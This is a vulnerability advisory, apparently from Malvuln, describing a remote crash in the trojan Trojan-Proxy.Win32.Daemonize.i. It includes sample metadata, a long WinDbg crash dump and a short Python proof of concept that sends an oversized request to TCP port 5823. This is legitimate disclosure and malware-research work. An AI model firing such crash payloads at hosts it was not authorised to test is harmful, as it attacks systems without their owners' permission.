Trojan-Proxy.Win32.Daemonize.i / Remote Denial of Service

us malvuln (US) us
Risk: Low
Local: No
Remote: Yes

Discovery / credits: Malvuln - (c) 2021 Original source: Contact: Media: Threat: Trojan-Proxy.Win32.Daemonize.i Vulnerability: Remote Denial of Service Description: Daemonize.i listens on TCP port 5823, sending some junk packets to the trojan results in invalid pointer read leading to an access violation and crash. Type: PE32 MD5: 61bec9f22a5955e076e0d5ddf6232f3f Vuln ID: MVID-2021-0102 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 02/19/2021 Memory Dump: (f0.1ba4): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=ffffffff edx=00000003 esi=00000003 edi=00000003 eip=7710ed3c esp=02a0f38c ebp=02a0f51c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 7710ed3c c21400 ret 14h 0:001> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+2fea 00402fea f2ae repne scas byte ptr es:[edi] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 00402fea (Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+0x00002fea) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 00000003 Attempt to read from address 00000003 PROCESS_NAME: Trojan-Proxy.Win32.Daemonize.i.61bec9f22a5955e076e0d5ddf6232f3f.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 00000003 READ_ADDRESS: 00000003 FOLLOWUP_IP: Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+2fea 00402fea f2ae repne scas byte ptr es:[edi] MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00001ba4 BUGCHECK_STR: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff PRIMARY_PROBLEM_CLASS: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff DEFAULT_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff LAST_CONTROL_TRANSFER: from 76198654 to 00402fea STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 02a0ff80 76198654 02b70e50 76198630 6e5e2d5f Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+0x2fea 02a0ff94 77104a77 02b70e50 e89bd1a1 00000000 kernel32!BaseThreadInitThunk+0x24 02a0ffdc 77104a47 ffffffff 77129eca 00000000 ntdll!__RtlUserThreadStart+0x2f 02a0ffec 00000000 00401937 02b70e50 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: ~1s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+2fea FOLLOWUP_NAME: MachineOwner MODULE_NAME: Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f IMAGE_NAME: Trojan-Proxy.Win32.Daemonize.i.61bec9f22a5955e076e0d5ddf6232f3f.exe DEBUG_FLR_IMAGE_TIMESTAMP: 3fdf5a56 FAILURE_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff_c0000005_Trojan-Proxy.Win32.Daemonize.i.61bec9f22a5955e076e0d5ddf6232f3f.exe!Unknown BUCKET_ID: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff_Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+2fea Followup: MachineOwner --------- 0:001> .ecxr eax=00000000 ebx=00000000 ecx=ffffffff edx=00000003 esi=02b72538 edi=00000003 eip=00402fea esp=02a0fcc8 ebp=02a0ff80 iopl=0 nv up ei ng nz ac pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297 Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+0x2fea: 00402fea f2ae repne scas byte ptr es:[edi] Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=5823 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) P="GET /"+"A"*2000 s.send(P) s.close() print("Trojan-Proxy.Win32.Daemonize.i / Remote Denial of Service") print("MD5: 61bec9f22a5955e076e0d5ddf6232f3f") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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